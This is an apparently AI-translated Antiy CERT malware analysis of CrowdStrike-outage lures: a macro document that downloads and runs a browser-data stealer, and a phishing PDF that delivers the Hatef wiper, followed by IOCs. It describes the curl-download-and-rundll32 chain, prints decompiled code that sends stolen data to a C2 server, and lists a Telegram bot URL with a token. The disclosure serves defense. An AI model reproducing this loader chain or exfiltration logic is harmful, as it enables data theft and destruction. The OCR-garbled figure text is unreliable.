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Analysis of Attack Activities Disguised as CrowdStrike Repair Files

Antiy CERT

First published time: July 23, 2024

The original report is in Chinese, and this version is an Al-translated edition.

1 Overview

Recently, Windows operating system hosts using CrowdStrike 's terminal security products encountered a
serious system crash, namely the "Blue Screen of Death" (BSOD ), which caused the computer system to fail to
operate normally. The incident affected a wide range of areas, and Antiy urgently followed up and analyzed and
released a report A Technical Analysis of the CrowdStrike Global System Failure: Contemplating "The Falcon's
Broken Wings". Subsequently, Antiy CERT captured multiple malicious codes that used the incident to spread,
including RemCos remote control, a secret-stealing Trojan, and a wiper data eraser. Antiy CERT analyzed and

disclosed the two types of malicious code incidents captured.

Looking back, whenever there is a major incident, there are always criminals waiting for an opportunity to
spread malicious code using these hot events as a cover. This method of attacking by taking advantage of the focus
of social attention is a common and cunning method in social engineering attack strategies. This report discloses the
relevant malicious code attack methods and sample functions for prevention, to enhance network security awareness,

and to resist potential network threats.

2 Attack Analysis

Table 2-1 Attack activity summary

Attack
Attack Activity Attack Method
Purpose

1. Using the "blue screen event" to repair documents and release secret
. ) Ink — docm — dll payload Steal Data
stealing Trojans

2. Handala Hack organization disguised repair solution email delivery wiper ~Email — pdf — malicious link — T
1pe Data
data eraser malicious payload P

This report provides a detailed analysis of two types of attack activities.
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2.1 Attack Activity 1: Using the "Blue Screen Event" To Repair Documents and Drop Secret-

Stealing Trojans

Antiy C ERT has monitored a number of attacks that used "blue screen event" repair documents to deliver secret-
stealing Trojans. In one of them, the initial payload was captured as a shortcut file named
"y Tool to help with CrowdStrike issue impacting Windows.Ink". The target location of the shortcut file points
to a malicious macro code document named

"New_Recovery Tool to help with CrowdStrike issue impacting Windows.docm".

#| y Tool to_help_with_CrowdStrike issue impacting_ Windows .. X

¥

= WSR2 EHEEE LEmEE

@ y_Tool_to_help_with_CrowdStrike issue_impacting_ W
Birzsi: Microsoft Word BE=HH#S

Biris: Desktop

BR(T): n_CrowdStrike_issue_impacting_Windows.docm

LEUES: | |
mEme: (E |
EEARR: | EME0 .
FE(O): | |
SFHFENEER || EREHO.. ERO)..

B RZFA(A)

Figure 2-1 Initial shortcut file disguised as CrowdStrike file name (1)

After opening the document with malicious macro code, the content in the document is "Microsoft official
document on how to fix blue screen events". The malicious macro code in the document will download the final

payload, a secret-stealing Trojan, after multiple layers of decryption.
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Mew_Recovery Tool_to_help_ with_CrowdStrike issue_impacting_Windows.docm - Wor... Eal
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ERERE Fik 5] B ] L ]
| meEE =DEsR. Sl x

As a follow-up to the CrowdStrike Falcon agent issue impacting Windows clients and
servers, Microsoft has released an updated recovery tool with two repair options to
help IT admins expedite the repair process. The signed Microsoft Recovery Tool can be
found in the Microsoft Download Center: https://go.microsoft. com/fwlink/?linkid=2280386.
In this document, we include detailed recovery steps for Windows client, servers, and
0S's hosted on Hyper-V. The two repair options are as follows.«

+ Recover from WiIinPE — this option produces boot media that will help facilitate
the device repair.«

+ Recover from safe mode — this option produces boot media so impacted devices
can boot into safe mode. The user can then login using an account with local admin
privileges and run the remediation steps.«

Determining which option to use«

o

Recover from WIinPE (recommended option) This option quickly and dirGcily=lecovers
systems and does not require local admin privileges. However, you may need io manually
enter the BitLocker recovery key (if BitLocker is used on the device) and then repair
impacted systems._ If you use a third-party disk encryption solution, please refer to vendor
guidance fo determine options to recover the drive so that the remediation script can be
run from WinPE .«

o

Recover from safe mode This option may enable recovery on BitLocker-enabled devices
without requiring the entry of BitLocker recovery keys. For this option, you must have
access to an account with local administrator rights on the device. Use this approach for
devices using TPM-only protectors, devices that are not encrypted, or situations where
the BitLocker recovery key is unknown. However, if utilizing TPM+PIN BitLocker
protectors, the user will either need to enter the PIN if known, or the BitLocker recovery
key must be used. If BitLocker is not enabled, then the user will only need to sign in with
an account with local administrator rights. If third-party disk encryption solutions are
utilized, please work with those vendors to determine options to recover the drive so the

E13E. 290 24304F [F =:FzE 4 ] B - 1 + 100%
Figure 2-2 Documents containing macro malicious code (1)
Antiy CERT detected another attack activity suspected of using the "blue screen event" to repair documents to
deliver malicious code. The initial payload of this attack activity was a shortcut file named "Steps to recover from

CrowdStrike Blue Screen.Ink", and the target location of the shortcut file pointed to a document named "Steps to

recover from CrowdStrike Blue Screen.docx".
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M Steps to recover from CrowdStrike Blue Screen BiE *

= EEST 22 BEEE  LlEmiEE

m Steps to recover from CrowdStrike Blue Screen

SEnrecich Microsoft Word 374

HinirE: Desktop

BiRT): o recover from CrowdStrike Blue Screen.docx’

SaOES: | |
RER(K): ‘a& ‘
EEARR): | BAE0 "
SE(O): | |
AFEREOGEE | BRSO, BRO)..

B REF(A)

Figure 2-3 Initial shortcut file disguised as CrowdStrike file name (2)

After opening the document, the content in the document is also Microsoft's official document on how to fix the
"blue screen event", but the document does not contain malicious macro code. However, it is not ruled out that the

macro code was cleared by the attacker during testing and development or by the researchers.
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Steps to recover from CrowdStrike Blue Screen.docx - Word F=asiasR) E ]
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Steps to recover from CrowdStrike Blue Screen<

Recovery

it

Click on “See advance repair options”+

Choose an option

1

“‘_):.i.
‘,

Select “Troubleshoot”«

E10 %828 794%F [ z=muEE 9N E B - ] + 100%

Figure 2-4CrowdStrike repair related bait document (2) payload overview

2.1.1  Payload Tags

Table 2-2Sample tags

|\ EUTToVEROfo RETNEN - Trojan/Win64. Stealer [Spy]
Original file name mscorsvc.dll

MD5 EB29329DE4937B34F218665DA57BCEF4

Processor
Intel 386 or later, and compatibles

architecture

File size 1.34 MB (1,412,096 bytes)

File format BinExecute /Microsoft. DLL [ :X 64 ]
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Timestamp 2024-07-19 16:10:10

Digital signature None

Packer type None

Compiled language Microsoft Visual C/C++

PDB path D:\c++\Mal_Cookie_x64\x64\Release\mscorsvc.pdb
VAR Al LEGRIIE  2024-07-22 17:36:23

VT test results 15/74

2.1.2 Payload Analysis

The initial bait file consists of a Word document and its shortcut. The document is named
"New_Recovery Tool to help with CrowdStrike issue impacting Windows.docm" and its content is related to

the CrowdStrike blue screen recovery solution provided by Microsoft.

AS @ tollowwp to the CrowdSine Falcon agent issue mpactng Windows chents ang
servers, MCrosolt has released @ updated recovery 1001 wilh two repair options 10
halp IT admins expedte he repalr process The signed Mcrosol!t Recovery Tool can be
found n he Mcrosof Dowrdoad
Cailer RGs N0 mcosof comMwinh hnkid=2200366. In this document, we indude
detiod ecovery steps for Windows disrt. sesvars, and OS's hosed on Hyper-V The
IO FRpAIr OpUONS ane 35 fotlows

« Recover from WInPE — RS cpton produces boot medin hat will help fsokiane
e devioe repail »

« Recover from safe mode - IIvs ophon produces DOol meda so impacied
deviced can bool inlo sate mode The wsed can Ben gn usng an sccount wih
local admin pavilages and run tho remedaton sIeps »

Detormining which option 1o use.

Recover froon WnPE frecommendod opson) Ths option gackly and deectly recovers
systens and does not fequee locsl adimn privieges Mowever, you may need
marvaly entér e Blocker recavery kay (1f BRLOCKE 15 Used on ha dence] and han
repan Impacied systems. If you use 8 Tird-party dsk encryption solulion. plesse refer o
vendar gudance 10 delermine options 10 recover 1he dive so hat he rmmedalon sogt
can be run from WnPE .

Hecover tom safe mode s ophon midr fnz?{a"#."h =—on Btlogker-anablod
1029 without reguinng e entry of BlLockss .Je..:.-.-,;arm.\' s oplion, you must
have access o an acooun! with ocal admunsiaion pghts on he devica. Usa his
aperoach for dewices wsing TPMonly prajeciond, dewces hat ant nol enarypled, of
stuafions where e BILockar recovary key i uninown. However if ullizing TPM+PIN
BitLockar protactars, the wser will amher need 10 antes tha PIN f known, of the Btlocker
recovery Xey must be used If BiLocker 15 not enabled, fen the user wil ondy need o
S0 N oW an acocunt with ook admesraton nghits ¥ Miid-paty gk encrypbon
SOMINS are UMed, please work willh (Nose vendors 10 delemne opaons 10 tecoves
e drive o the resnediation Sopit can be mrn «

Addasons consideranons AR the USB option 15 prafermed, some oedces may not
suppon LSH connections. I Sudh £ases, wa provics detaliad slaps betow for using he
Pregogt Execution Envdronment (PXE] option ¥ the device cannol comnect 1o a PXE
etk and USH 18 not an opsan réimagng he device might be a solution «

AS with any Rcovery apbion, 185t on muitple Jevices poor 1o usng # beoaddy m you
UrvirnDrETRng .

Prerequisites to create the boot medis.

1A Windows 5400 Olenl with of beast 8GB of Wee space liom whidy he ool can
be nn o ceate the bootable USH dive -

2 Adménistative penalegas an tha Windows chiant rom preraquasiie #1 .«

3 A USE dnve wih mn 1GB and mex of 32GB All existing data on this USS wil be
wiped and wil he formatiad sutoematcally to FATIZ

Figure 2-5Bait document content

The document contains a malicious macro. After execution, it first copies the curl tool in the system to the Y%temp%

directory, uses the tool to download the "payload2.txt" file from the specified URL, decodes it with Base64, and saves
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it as the %temp%\mscorsvc.dll file. Finally, it is loaded and executed through the rundll32 program.

Figure 2-6Malicious macro uses curl to download subsequent payload files and decode and execute them

The malicious macro ultimately drops is a secret-stealing Trojan. The secret-stealing Trojan steals sensitive data
from browsers such as Chrome, Edge, and Firefox, stores the stolen data in the C:\Windows\Temp path, and
eventually transmits the stolen data back to the C2 server. The Trojan is currently not associated with a specific

existing secret-stealing family.
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FreeConsole();
sub_18@00E600(&/33);
(__int64 *)&v3
v4l > @xF )
v39;
Vv sub _1808262C0(&unk_18014C9D0, vO, v40);
sub _1808222D8(v1);
sub_1800B9430("taskkill /F /IM chrome.exe");

v
i%

if

NS~

v42 = 0i64;

v43 = 0i64;

vd4 = 0i64;

5ub_180024459(&=.x42, (__int64)&unk_1801379C8, 0i64, v2);

v34 = @i64;

v35 = 0i64;

v36 = @i64;

v37 = 0i64;

sub_180024450(&v34, (__int64)"C:\\Windows\\Temp\\result.txt", Ox1Auié4,

v4 = sub_180@1CBDO(&v23, &v38);

sub 180016846(&342, vd);

v28 = 0i64;

v29 = @i64;

v3e = 0i64;

sub_180024450(&v23, (__int64)"http://172.1 S e

sub_180012030(&23, &34, &v33);
sub_1800096B0(&23);

= W —’);

Figure 2-7The stealing Trojan sends data back to the C2 server

2.2 Attack Activity 2: Handala Hack Disguised as a Repair Solution and Delivered a Wiper

Data Eraser via Email

According to monitoring, the Handala Hack claimed to have launched a large-scale phishing campaign against

thousands of Israeli institutions, disguising itself as CrowdStrike staff to send phishing emails with repair solutions

to victims, thereby spreading malicious code, and stated that dozens of target institutions had had TBs of data

wiped. (The red font in the picture is machine translation)
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Handala Hack

'MINYD M2"0N VN Lo
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1 T Y INn o

Tpn

AINT TN 0007 36T SO0 T TININ TSN 10 N CrowdStries NN A% DY 1
P QUMW TN ART0INN PO TUD 903 0017 Y00 OORE Y315 TR I a2

owone
upoate@crowastribe comve 3 M NINI0 IV Nwmis 1
VP 9 OVONR 1IN YR L) TIT AN YT EaTE e [URL) e oo POF yaip 0970 it 2
OTE EXE Y 1200 720 W 2P
MTIAAN T
LJSIEM, AV, EDR « 7wy 2w v Aaiant HoWn 330 O DEn 101 YIOm DD YR 1D Ir wonnd 3

0 LR/ WY IO OB
DITUIIWO (3 DOI0A WIF W THM UMY 6 IPE3 DI 900 1100 D 13TV 0PI 2

() Handala's attack on Israeli organizations

Yesterday, after the problem occurred in CrowdStrike, Handala
started a targeted phishing campaign using his dedicated wiper and
FUD against thousands of Zionist organizations! So far, dozens of
Zionist organizations have lost more than several terabytes of their
data, and INCD is still unaware of a significant part of the story!

These idiots should think about educating their idiots instead of
thinking about setting up a cyber dome!

If INCD does not publish the list of affected organizations, Handala
will do it!

The campaign is still working and its effect will increase with the start
of the working day! Keep waiting for us! Fronlly = f

Handala 5L @514R40

BEXs Tf CrowdStrike HINja#f5E, Handala FHGHRIET M BEE RA L REHITHAPEEFIBE
zh (https://twitter.com/anyrun_app/status/1814658084460957890) , {#RAELMIEIEEM FUD
FHMABEEXANA! FEEAL: - NAEEEXALACEELTEEN T8 BI2HE, M

INCD { https://www.gov.il/he/pages/alert200724) {RAFEEX BN EES D!

REQREZEEHENNNEE, MAREERLFEEN!
MR INCD FATERMEAAAIES, Handala SRR
BERENBERATR, BAREEE LFENFamIEa! EhaEFRI

=

Figure 2-8 Handala Hack claims
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The phishing email contained two attachments, CSfooter.png and updatel.pdf.

Dear Valoed Customes

CrowdStrks i actividy working with customners impacted by a delect found in a single content update for Windows hosts. Mac and Lienis bosts are not snpacted. This wirs not 4
oyberatindc

The ssue has been identied, isolated and 2 fix has been deployed.

We are referring customers to update their Windows servers as soon as possible through through the attached tool to avoid disruptions!
We lurther recommend organizations ersure they'te commuticating with CrowdSirice representatives through officiel channels

Our toam i fully mobileed to ensure the security and stabiley of CrowdStrike customess

We undentand the gravity of the situstion and are deeply sorry for the inconvenience and dsruption We are working with all impacted customers 10 ecsure that systermns are back up ind
they cats deliver the services their custathers are counting on

@ of any failure to update the system and disruption will be the responsibility of the organization’s IT manager.

&ROWDSTRIKE

Obviously. the

180.43 KB | fle attached, 1 embeddad kmage }

& CSfootarpng 1542 ¥I updatel pat 18507 0

Figure 2-9Phishing email examples

When the file named updatel.pdf is opened, it contains malicious links. Clicking on these links will download

a compressed file named "update.zip," which contains a data wiper named "wiper."

Download The Updater

CrowdStrike is actively working with customers impacted by a defect found in a single content
update for Windows hosts. Mac and Linux hosts are not impacted. This was not a cyberattack.

The Issue has been identified, isolated and a fix has been deployed.

We are referring customers to update their Windows servers as soon as possible through
through the tool to avoid disruptions!

We further recommend organizations ensure they're communicating with CrowdStrike
representatives through official channels.

Our team is fully mobilized to ensure the security and stability of CrowdStrike customers

We understand the gravity of the situation and are deeply sorry for the inconvenience and
disruption. We are working with all impacted customers to ensure that systems are back up and
they can deliver the services their customers are counting on

iy
Obviously, the consequences of any failure to update the system and disruphion witl Se (ﬂ ﬁ
sy
responsibility of the organization’s IT manager.

Figure 2-10 PDF document with malicious link
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2.2.1 Payload Tags

Table 2-3 Sample tags

\YEUTToVEReefo RaETEN  Trojan/Win32. Autoit

Original file name CrowdStrike.exe

MD

5 755C0350038DAEFB29B888B6F8739E81

Processor )
. Intel 386 or later, and compatibles
architecture

File size 6.04 MB ( 6,338,272 bytes )

File format BinExecute /Microsoft. EXE[:X64]
Timestamp 2012-02-25 03:19:54

Digital signature none

Packer type none

Compiled language Microsoft Visual C/C++

VAR AT (G RITNEN  2024-07-21 04:31:45

VT test results 47 [74

2.2.2  Payload Analysis

The PDF file contains a hyperlink named "Download The Updater". When the user clicks the hyperlink, a
compressed file named "update.zip" will be downloaded, which contains a malicious program named

"CrowdStrike.exe".

Camriued Ihe Vadeter

Figure 2-11PDF file spread through phishing emails
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The malicious program uses an invalid digital signature. After running, it releases dozens of files in the %temp%

directory and executes the subsequent attack process through one of the obfuscated "Carroll.cmd" files.

Figure 2-12 Part of the Carroll.cmd file

After Carroll.cmd is executed, it uses the tasklist and findstr commands to check whether there is an anti-virus
product process with the specified name, and then creates a folder named "564784" in the same path, and releases
Champion.pif (Autolt program), RegAsm.exe (assembly registration tool), and L (composed of 5 released files, which
is an Autolt script file). Finally, the Carroll.cmd file executes the script through the Autolt program and injects the

final payload into the memory for execution.

Figure 2-13Process-related content monitored by Antiy Persistent Threat Analysis System

After analysis, the final payload is a wiper called "Hatef Wiper", which is similar to Handala Hatef Wiper will
erase files in the specified critical path of the system and communicate with the Telegram account created by the
attacker.

The Antiy AVL SDK anti-virus engine library has been updated to the latest version, which can accurately detect
and remove related malicious codes. Antiy Intelligent Endpoint Protection System and UWP cloud security product

families can effectively defend against related threats in all host system scenarios.
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3 10C
y_Tool to_help with CrowdStrike issue impa Open the malicious macro
A35F0D906EBE286DDA7A4EDC4A7BCE47
cting Windows.lnk code document
New_ Recovery Tool to help with CrowdStri Malicious macro code
DD2100DFA067CAAE416B885637ADC4EF
ke issue impacting Windows.docm document
Base 64 encoded payload
payload2.txt D67EA3B362D4E9B633216E85AC643D1F ol
€
mscorsve.dll EB29329DE4937B34F218665DA57BCEF4 Secret Stealing Trojan
update3.pdf 22E9135A650CD674EB330CBB4A7329C3 PDF file with malicious link
CrowdStrike.exe 755C0350038DAEFB29B888B6F8739E81 wiper data eraser

IP address or URL

172.104.160.126

hxxps://api.telegram[.]org/bot7277950797:AAFOINwSrAT IBHnMmwY _tQNYJFU3dYJ5SRHc/sendMessage?chat id=7436061126
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Appendix: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.
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Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.

©Antiy All Rights Reserved. Reprint without Loss is welcome . Page 15



